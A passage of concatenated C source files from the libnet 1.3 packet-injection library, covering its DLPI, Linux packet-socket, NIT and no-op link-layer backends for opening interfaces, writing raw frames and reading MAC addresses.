HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * This code contributed by Atanu Ghosh (atanu@cs.ucl.ac.uk), * University College London. */ #include "common.h" #include #include #ifdef HAVE_SYS_BUFMOD_H #include #endif #include #ifdef HAVE_HPUX9 #include #endif #ifdef DL_HP_PPA_ACK_OBS #include #endif #include #if defined(HAVE_SOLARIS) && defined(HAVE_SYS_BUFMOD_H) #include #endif #ifdef HAVE_SYS_DLPI_EXT_H #include #endif #ifdef HAVE_HPUX9 #include #endif #include #ifdef HAVE_HPUX9 #include #include #endif #include #include #include #include #include #include #include #include #include #include "../include/libnet.h" #include "../include/gnuc.h" #ifdef HAVE_OS_PROTO_H #include "../include/os-proto.h" #endif #ifndef DLPI_DEV_PREFIX #define DLPI_DEV_PREFIX "/dev" #endif #define MAXDLBUF 8192 /* Forwards */ static int dlattachreq(int, bpf_u_int32, int8_t *); static int dlbindack(int, int8_t *, int8_t *); static int dlbindreq(int, bpf_u_int32, int8_t *); static int dlinfoack(int, int8_t *, int8_t *); static int dlinforeq(int, int8_t *); static int dlokack(int, const int8_t *, int8_t *, int8_t *); static int recv_ack(int, int, const int8_t *, int8_t *, int8_t *); static int send_request(int, int8_t *, int, int8_t *, int8_t *, int); #ifdef HAVE_SYS_BUFMOD_H static int strioctl(int, int, int, int8_t *); #endif #ifdef HAVE_HPUX9 static int dlpi_kread(int, off_t, void *, uint, int8_t *); #endif #ifdef HAVE_DEV_DLPI static int get_dlpi_ppa(int, const int8_t *, int, int8_t *); #endif /* XXX Needed by HP-UX (at least) */ static bpf_u_int32 ctlbuf[MAXDLBUF]; /* Return a pointer to the last character in 'in' that is not in 's', * or NULL if no such character exists. */ static char *find_last_not_of(char *in, const char *s) { char* cur; cur = in + strlen(in); for(; cur != in; cur--) { if (!strchr(s, *cur)) { break; } } return cur == in ? NULL : cur; } /* Split device into device type and unit number. * Return >0 on success. */ static int dlpi_unit(const char *dev, int *namelen, int *unit) { char *p; char *eos; if (!*dev) { return 0; } p = find_last_not_of(dev, "0123456789"); if (!p) { return 0; } p++; if (!*p) { return 0; } *unit = strtol(p, NULL, 10); *namelen = p - dev; return 1; } /* Sometimes the network device is at /dev/, and sometimes at * /dev/net/. Sometimes both. Sometimes with unit number, sometimes * without. * This function tries to find the device, and won't be stopped just because * it tried to open a directory. (e.g. interface net0 would try to open * /dev/net). */ static int try_open_dev(libnet_t *l, const char *dev, int unit) { const char *prefixes[] = { DLPI_DEV_PREFIX, "/dev", "/dev/net", "", NULL }; int ret; char fullpath[MAXPATHLEN]; int cur_prefix; for (cur_prefix = 0; prefixes[cur_prefix]; cur_prefix++) { snprintf(fullpath, sizeof(fullpath), "%s/%s", prefixes[cur_prefix], dev); if (0 <= (ret = open(fullpath, O_RDWR))) { return ret; } if (errno != ENOENT && errno != EISDIR) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): %s: %s", __func__, fullpath, strerror(errno)); return -1; } snprintf(fullpath, sizeof(fullpath), "%s/%s%d", prefixes[cur_prefix], dev, unit); if (0 <= (ret = open(fullpath, O_RDWR))) { return ret; } if (errno != ENOENT && errno != EISDIR) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): %s: %s", __func__, fullpath, strerror(errno)); return -1; } } return -1; } int libnet_open_link(libnet_t *l) { int8_t *cp; int8_t *eos; int ppa; dl_info_ack_t *infop; bpf_u_int32 buf[MAXDLBUF]; int namelen; int8_t dname[MAXPATHLEN]; if (l == NULL) { return (-1); } memset(&dname, 0, sizeof(dname)); /* * Determine device and ppa */ if (!dlpi_unit(l->device, &namelen, &ppa)) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): %s has bad device type or unit number", __func__, l->device); goto bad; } strncpy(dname, l->device, namelen); #ifdef HAVE_DEV_DLPI if (*(l->device) == '/') { strncpy(dname, l->device, sizeof(dname) - 1); dname[sizeof(dname) - 1] = '\0'; } else { snprintf(dname, sizeof(dname), "%s/%s", DLPI_DEV_PREFIX, l->device); } /* * Map network device to /dev/dlpi unit */ cp = "/dev/dlpi"; l->fd = open(cp, O_RDWR); if (l->fd == -1) { goto bad; } /* * Map network interface to /dev/dlpi unit */ ppa = get_dlpi_ppa(l->fd, dname, ppa, l->err_buf); if (ppa < 0) { goto bad; } #else /* * Try device without unit number */ l->fd = try_open_dev(l, dname, ppa); if (l->fd == -1) { goto bad; } #endif /* * Attach if "style 2" provider */ if (dlinforeq(l->fd, l->err_buf) < 0 || dlinfoack(l->fd, (int8_t *)buf, l->err_buf) < 0) { goto bad; } infop = &((union DL_primitives *)buf)->info_ack; if (infop->dl_provider_style == DL_STYLE2 && (dlattachreq(l->fd, ppa, l->err_buf) < 0 || dlokack(l->fd, "attach", (int8_t *)buf, l->err_buf) < 0)) { goto bad; } /* * Bind HP-UX 9 and HP-UX 10.20 */ #if defined(HAVE_HPUX9) || defined(HAVE_HPUX10_20) || defined(HAVE_HPUX11) || defined(HAVE_SOLARIS) if (dlbindreq(l->fd, 0, l->err_buf) < 0 || dlbindack(l->fd, (int8_t *)buf, l->err_buf) < 0) { goto bad; } #endif /* * Determine link type */ if (dlinforeq(l->fd, l->err_buf) < 0 || dlinfoack(l->fd, (int8_t *)buf, l->err_buf) < 0) { goto bad; } infop = &((union DL_primitives *)buf)->info_ack; switch (infop->dl_mac_type) { case DL_CSMACD: case DL_ETHER: l->link_type = DLT_EN10MB; l->link_offset = 0xe; break; case DL_FDDI: l->link_type = DLT_FDDI; l->link_offset = 0x15; break; case DL_TPR: l->link_type = DLT_PRONET; l->link_offset = 0x16; break; default: snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): unknown mac type 0x%lu", __func__, (uint32_t) infop->dl_mac_type); goto bad; } #ifdef DLIOCRAW /* * This is a non standard SunOS hack to get the ethernet header. */ if (strioctl(l->fd, DLIOCRAW, 0, NULL) < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): DLIOCRAW: %s", __func__, strerror(errno)); goto bad; } #endif return (1); bad: if (l->fd > 0) { close(l->fd); /* this can fail ok */ } return (-1); } static int send_request(int fd, int8_t *ptr, int len, int8_t *what, int8_t *ebuf, int flags) { struct strbuf ctl; ctl.maxlen = 0; ctl.len = len; ctl.buf = ptr; if (putmsg(fd, &ctl, (struct strbuf *) NULL, flags) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "%s(): putmsg \"%s\": %s", __func__, what, strerror(errno)); return (-1); } return (0); } static int recv_ack(int fd, int size, const int8_t *what, int8_t *bufp, int8_t *ebuf) { union DL_primitives *dlp; struct strbuf ctl; int flags; ctl.maxlen = MAXDLBUF; ctl.len = 0; ctl.buf = bufp; flags = 0; if (getmsg(fd, &ctl, (struct strbuf*)NULL, &flags) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "%s(): %s getmsg: %s", __func__, what, strerror(errno)); return (-1); } dlp = (union DL_primitives *)ctl.buf; switch (dlp->dl_primitive) { case DL_INFO_ACK: case DL_PHYS_ADDR_ACK: case DL_BIND_ACK: case DL_OK_ACK: #ifdef DL_HP_PPA_ACK case DL_HP_PPA_ACK: #endif /* * These are OK */ break; case DL_ERROR_ACK: switch (dlp->error_ack.dl_errno) { case DL_BADPPA: snprintf(ebuf, LIBNET_ERRBUF_SIZE, "recv_ack: %s bad ppa (device unit)", what); break; case DL_SYSERR: snprintf(ebuf, LIBNET_ERRBUF_SIZE, "recv_ack: %s: %s", what, strerror(dlp->error_ack.dl_unix_errno)); break; case DL_UNSUPPORTED: snprintf(ebuf, LIBNET_ERRBUF_SIZE, "recv_ack: %s: Service not supplied by provider", what); break; default: snprintf(ebuf, LIBNET_ERRBUF_SIZE, "recv_ack: %s error 0x%x", what, (bpf_u_int32)dlp->error_ack.dl_errno); break; } return (-1); default: snprintf(ebuf, LIBNET_ERRBUF_SIZE, "recv_ack: %s unexpected primitive ack 0x%x ", what, (bpf_u_int32)dlp->dl_primitive); return (-1); } if (ctl.len < size) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "recv_ack: %s ack too small (%d < %d)", what, ctl.len, size); return (-1); } return (ctl.len); } static int dlattachreq(int fd, bpf_u_int32 ppa, int8_t *ebuf) { dl_attach_req_t req; req.dl_primitive = DL_ATTACH_REQ; req.dl_ppa = ppa; return (send_request(fd, (int8_t *)&req, sizeof(req), "attach", ebuf, 0)); } static int dlbindreq(int fd, bpf_u_int32 sap, int8_t *ebuf) { dl_bind_req_t req; memset((int8_t *)&req, 0, sizeof(req)); req.dl_primitive = DL_BIND_REQ; #ifdef DL_HP_RAWDLS req.dl_max_conind = 1; /* XXX magic number */ /* * 22 is INSAP as per the HP-UX DLPI Programmer's Guide */ req.dl_sap = 22; req.dl_service_mode = DL_HP_RAWDLS; #else req.dl_sap = sap; #ifdef DL_CLDLS req.dl_service_mode = DL_CLDLS; #endif #endif return (send_request(fd, (int8_t *)&req, sizeof(req), "bind", ebuf, 0)); } static int dlbindack(int fd, int8_t *bufp, int8_t *ebuf) { return (recv_ack(fd, DL_BIND_ACK_SIZE, "bind", bufp, ebuf)); } static int dlokack(int fd, const int8_t *what, int8_t *bufp, int8_t *ebuf) { return (recv_ack(fd, DL_OK_ACK_SIZE, what, bufp, ebuf)); } static int dlinforeq(int fd, int8_t *ebuf) { dl_info_req_t req; req.dl_primitive = DL_INFO_REQ; return (send_request(fd, (int8_t *)&req, sizeof(req), "info", ebuf, RS_HIPRI)); } static int dlinfoack(int fd, int8_t *bufp, int8_t *ebuf) { return (recv_ack(fd, DL_INFO_ACK_SIZE, "info", bufp, ebuf)); } #ifdef HAVE_SYS_BUFMOD_H static int strioctl(int fd, int cmd, int len, int8_t *dp) { struct strioctl str; int rc; str.ic_cmd = cmd; str.ic_timout = -1; str.ic_len = len; str.ic_dp = dp; rc = ioctl(fd, I_STR, &str); if (rc < 0) { return (rc); } else { return (str.ic_len); } } #endif #if (defined(DL_HP_PPA_ACK_OBS) && !defined(HAVE_HPUX11)) /* * Under HP-UX 10, we can ask for the ppa */ static int get_dlpi_ppa(int fd, const int8_t *device, int unit, int8_t *ebuf) { dl_hp_ppa_ack_t *ap; dl_hp_ppa_info_t *ip; int i; uint32_t majdev; dl_hp_ppa_req_t req; struct stat statbuf; bpf_u_int32 buf[MAXDLBUF]; if (stat(device, &statbuf) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "stat: %s: %s", device, strerror(errno)); return (-1); } majdev = major(statbuf.st_rdev); memset((int8_t *)&req, 0, sizeof(req)); req.dl_primitive = DL_HP_PPA_REQ; memset((int8_t *)buf, 0, sizeof(buf)); if (send_request(fd, (int8_t *)&req, sizeof(req), "hpppa", ebuf, 0) < 0 || recv_ack(fd, DL_HP_PPA_ACK_SIZE, "hpppa", (int8_t *)buf, ebuf) < 0) { return (-1); } ap = (dl_hp_ppa_ack_t *)buf; ip = (dl_hp_ppa_info_t *)((uint8_t *)ap + ap->dl_offset); for (i = 0; i < ap->dl_count; i++) { if (ip->dl_mjr_num == majdev && ip->dl_instance_num == unit) break; ip = (dl_hp_ppa_info_t *)((uint8_t *)ip + ip->dl_next_offset); } if (i == ap->dl_count) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "can't find PPA for %s", device); return (-1); } if (ip->dl_hdw_state == HDW_DEAD) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "%s: hardware state: DOWN", device); return (-1); } return ((int)ip->dl_ppa); } #endif #ifdef HAVE_HPUX9 /* * Under HP-UX 9, there is no good way to determine the ppa. * So punt and read it from /dev/kmem. */ static struct nlist nl[] = { #define NL_IFNET 0 { "ifnet" }, { "" } }; static int8_t path_vmunix[] = "/hp-ux"; /* * Determine ppa number that specifies ifname */ static int get_dlpi_ppa(int fd, const int8_t *ifname, int unit, int8_t *ebuf) { const int8_t *cp; int kd; void *addr; struct ifnet ifnet; int8_t if_name[sizeof(ifnet.if_name)], tifname[32]; cp = strrchr(ifname, '/'); if (cp != NULL) { ifname = cp + 1; } if (nlist(path_vmunix, &nl) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "nlist %s failed", path_vmunix); return (-1); } if (nl[NL_IFNET].n_value == 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "could't find %s kernel symbol", nl[NL_IFNET].n_name); return (-1); } kd = open("/dev/kmem", O_RDONLY); if (kd < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "kmem open: %s", strerror(errno)); return (-1); } if (dlpi_kread(kd, nl[NL_IFNET].n_value, &addr, sizeof(addr), ebuf) < 0) { close(kd); return (-1); } for (; addr != NULL; addr = ifnet.if_next) { if (dlpi_kread(kd, (off_t)addr, &ifnet, sizeof(ifnet), ebuf) < 0 || dlpi_kread(kd, (off_t)ifnet.if_name, if_name, sizeof(if_name), ebuf) < 0) { close(kd); return (-1); } snprintf(tifname, sizeof(tifname), "%.*s%d", (int)sizeof(if_name), if_name, ifnet.if_unit); if (strcmp(tifname, ifname) == 0) { return (ifnet.if_index); } } snprintf(ebuf, LIBNET_ERRBUF_SIZE, "Can't find %s", ifname); return (-1); } static int dlpi_kread(int fd, off_t addr, void *buf, uint len, int8_t *ebuf) { int cc; if (lseek(fd, addr, SEEK_SET) < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "lseek: %s", strerror(errno)); return (-1); } cc = read(fd, buf, len); if (cc < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "read: %s", strerror(errno)); return (-1); } else if (cc != len) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "int16_t read (%d != %d)", cc, len); return (-1); } return (cc); } #endif #define ETHERADDRL 6 struct EnetHeaderInfo { struct libnet_ether_addr DestEtherAddr; uint16_t EtherFrameType; }; int libnet_close_link(libnet_t *l) { if (close(l->fd) == 0) { return (1); } else { return (-1); } } #ifdef HAVE_HPUX11 int libnet_write_link(libnet_t *l, const uint8_t *packet, uint32_t size) { struct strbuf data, ctl; dl_hp_rawdata_req_t *rdata; int c; if (l == NULL) { return (-1); } rdata = (dl_hp_rawdata_req_t *)ctlbuf; rdata->dl_primitive = DL_HP_RAWDATA_REQ; /* send it */ ctl.len = sizeof(dl_hp_rawdata_req_t); ctl.maxlen = sizeof(dl_hp_rawdata_req_t); ctl.buf = (int8_t *)rdata; data.maxlen = size; data.len = size; data.buf = packet; c = putmsg(l->fd, &ctl, &data, 0); if (c == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_write_link(): %d bytes written (%s)", c, strerror(errno)); return (-1); } else { return (size); } } #else int libnet_write_link(libnet_t *l, const uint8_t *packet, uint32_t size) { int c; struct strbuf data; if (l == NULL) { return (-1); } data.maxlen = size; data.len = size; data.buf = packet; c = putmsg(l->fd, NULL, &data, 0); if (c == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_write_link: %d bytes written (%s)", c, strerror(errno)); return (-1); } else { return (size); } } #endif struct libnet_ether_addr * libnet_get_hwaddr(libnet_t *l) { union DL_primitives *dlp; int8_t *buf; int8_t *mac; if (l == NULL) { return (NULL); } buf = (int8_t *)malloc(2048); if (buf == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s", __func__, strerror(errno)); return (NULL); } dlp = (union DL_primitives *)buf; dlp->physaddr_req.dl_primitive = DL_PHYS_ADDR_REQ; dlp->physaddr_req.dl_addr_type = DL_CURR_PHYS_ADDR; if (send_request(l->fd, (int8_t *)dlp, DL_PHYS_ADDR_REQ_SIZE, "physaddr", l->err_buf, 0) < 0) { free(buf); return (NULL); } if (recv_ack(l->fd, DL_PHYS_ADDR_ACK_SIZE, "physaddr", (int8_t *)dlp, l->err_buf) < 0) { free(buf); return (NULL); } mac = (int8_t *)dlp + dlp->physaddr_ack.dl_addr_offset; memcpy(l->link_addr.ether_addr_octet, mac, ETHER_ADDR_LEN); free(buf); return (&l->link_addr); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_link_linux.c0000664000175000017500000001650714506572036015533 0ustar syqsyq/* * $Id: libnet_link_linux.c,v 1.5 2004/01/03 20:31:02 mike Exp $ * * libnet 1.1 * libnet_link_linux.c - linux packet socket and pack socket routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include "common.h" #include #include #include #include #ifndef SOL_PACKET #define SOL_PACKET 263 #endif /* SOL_PACKET */ #include #include /* the L2 protocols */ #include "../include/libnet.h" /* These should not vary across linux systems, and are only defined in * , included from , but since we have no other dependency * on libpcap right now, define locally. I'm not sure if this is a good idea, * but we'll try. */ #define DLT_PRONET 4 /* Proteon ProNET Token Ring */ #define DLT_FDDI 10 /* FDDI */ #define DLT_RAW 12 /* raw IP */ #include "../include/gnuc.h" #ifdef HAVE_OS_PROTO_H #include "../include/os-proto.h" #endif int libnet_open_link(libnet_t *l) { struct ifreq ifr; int n = 1; if (l == NULL) { return (-1); } l->fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (l->fd == -1) { if (errno == EPERM) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): UID/EUID 0 or capability CAP_NET_RAW required", __func__); } else { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "socket: %s", strerror(errno)); } goto bad; } memset(&ifr, 0, sizeof (ifr)); strncpy(ifr.ifr_name, l->device, sizeof (ifr.ifr_name) -1); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; if (ioctl(l->fd, SIOCGIFHWADDR, &ifr) < 0 ) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "SIOCGIFHWADDR: %s", strerror(errno)); goto bad; } switch (ifr.ifr_hwaddr.sa_family) { case ARPHRD_ETHER: case ARPHRD_METRICOM: #ifdef ARPHRD_LOOPBACK case ARPHRD_LOOPBACK: #endif l->link_type = DLT_EN10MB; l->link_offset = 0xe; break; case ARPHRD_SLIP: case ARPHRD_CSLIP: case ARPHRD_SLIP6: case ARPHRD_CSLIP6: case ARPHRD_PPP: case ARPHRD_NONE: l->link_type = DLT_RAW; break; case ARPHRD_FDDI: l->link_type = DLT_FDDI; l->link_offset = 0x15; break; /* Token Ring */ case ARPHRD_IEEE802: case ARPHRD_IEEE802_TR: case ARPHRD_PRONET: l->link_type = DLT_PRONET; l->link_offset = 0x16; break; default: snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "unknown physical layer type 0x%x", ifr.ifr_hwaddr.sa_family); goto bad; } #ifdef SO_BROADCAST /* * man 7 socket * * Set or get the broadcast flag. When enabled, datagram sockets * receive packets sent to a broadcast address and they are allowed * to send packets to a broadcast address. This option has no * effect on stream-oriented sockets. */ if (setsockopt(l->fd, SOL_SOCKET, SO_BROADCAST, &n, sizeof(n)) == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s: set SO_BROADCAST failed: %s", __func__, strerror(errno)); goto bad; } #endif /* SO_BROADCAST */ return (1); bad: if (l->fd >= 0) { close(l->fd); } return (-1); } int libnet_close_link(libnet_t *l) { if (close(l->fd) == 0) { return (1); } else { return (-1); } } static int get_iface_index(int fd, const char *device) { struct ifreq ifr; /* memset(&ifr, 0, sizeof(ifr)); */ strncpy (ifr.ifr_name, device, sizeof(ifr.ifr_name) - 1); ifr.ifr_name[sizeof(ifr.ifr_name)-1] = '\0'; if (ioctl(fd, SIOCGIFINDEX, &ifr) == -1) { return (-1); } return ifr.ifr_ifindex; } int libnet_write_link(libnet_t *l, const uint8_t *packet, uint32_t size) { ssize_t c; struct sockaddr_ll sa; if (l == NULL) { return (-1); } memset(&sa, 0, sizeof (sa)); sa.sll_family = AF_PACKET; sa.sll_ifindex = get_iface_index(l->fd, l->device); if (sa.sll_ifindex == -1) { return (-1); } sa.sll_protocol = htons(ETH_P_ALL); c = sendto(l->fd, packet, size, 0, (struct sockaddr *)&sa, sizeof (sa)); if (c != (ssize_t)size) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_write_link(): only %zd bytes written (%s)", c, strerror(errno)); } return (c); } struct libnet_ether_addr * libnet_get_hwaddr(libnet_t *l) { int fd; struct ifreq ifr; if (l == NULL) { return (NULL); } if (l->device == NULL) { if (libnet_select_device(l) == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_get_hwaddr: can't figure out a device to use"); return (NULL); } } /* * Create dummy socket to perform an ioctl upon. */ fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "socket: %s", strerror(errno)); goto bad; } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) - 1); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) { close(fd); snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "ioctl: %s", strerror(errno)); goto bad; } close(fd); return memcpy(l->link_addr.ether_addr_octet, &ifr.ifr_hwaddr.sa_data, ETHER_ADDR_LEN); bad: return (NULL); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_link_nit.c0000664000175000017500000000707714506572036015170 0ustar syqsyq/* * $Id: libnet_link_nit.c,v 1.6 2004/01/03 20:31:02 mike Exp $ * * libnet * libnet_nit.c - network interface tap routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include "common.h" #include "../include/gnuc.h" #ifdef HAVE_OS_PROTO_H #include "../include/os-proto.h" #endif struct libnet_link_int * libnet_open_link_interface(int8_t *device, int8_t *ebuf) { struct sockaddr_nit snit; struct libnet_link_int *l; l = (struct libnet_link_int *)malloc(sizeof(*p)); if (l == NULL) { strcpy(ebuf, strerror(errno)); return (NULL); } memset(l, 0, sizeof(*l)); l->fd = socket(AF_NIT, SOCK_RAW, NITPROTO_RAW); if (l->fd < 0) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "socket: %s", strerror(errno)); goto bad; } snit.snit_family = AF_NIT; strncpy(snit.snit_ifname, device, NITIFSIZ -1); snit.snit_ifname[NITIFSIZ] = '\0'; if (bind(l->fd, (struct sockaddr *)&snit, sizeof(snit))) { snprintf(ebuf, LIBNET_ERRBUF_SIZE, "bind: %s: %s", snit.snit_ifname, strerror(errno)); goto bad; } /* * NIT supports only ethernets. */ l->linktype = DLT_EN10MB; return (l); bad: if (l->fd >= 0) { close(l->fd); } free(l); return (NULL); } int libnet_close_link_interface(struct libnet_link_int *l) { if (close(l->fd) == 0) { free(l); return (1); } else { free(l); return (-1); } } int write_link_layer(struct libnet_link_int *l, const int8_t *device, uint8_t *buf, int len) { int c; struct sockaddr sa; memset(&sa, 0, sizeof(sa)); strncpy(sa.sa_data, device, sizeof(sa.sa_data)); c = sendto(l->fd, buf, len, 0, &sa, sizeof(sa)); if (c != len) { /* error */ } return (c); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_link_none.c0000664000175000017500000000467114506572036015332 0ustar syqsyq/* * $Id: libnet_link_none.c,v 1.5 2004/01/03 20:31:02 mike Exp $ * * libnet * libnet_none.c - dummy routines for suckers with no link-layer interface * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1993, 1994, 1995, 1996, 1998 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include "common.h" static void nosupport(libnet_t* l) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): no link support on this platform", __func__); } int libnet_open_link(libnet_t *l) { nosupport(l); return -1; } int libnet_close_link(libnet_t *l) { nosupport(l); return -1; } int libnet_write_link(libnet_t *l, const uint8_t *packet, uint32_t size) { nosupport(l); return -1; } struct libnet_ether_addr * libnet_get_hwaddr(libnet_t *l) { nosupport(l); return NULL; } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_link_pf.c0000664000175000017500000001231614506572036014773 0ustar syqsyq/* * $Id: libnet_link_pf.c,v 1.3 2004/01/03 20:31:02 mike Exp $ * * libnet * libnet_pf.c - pf routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR 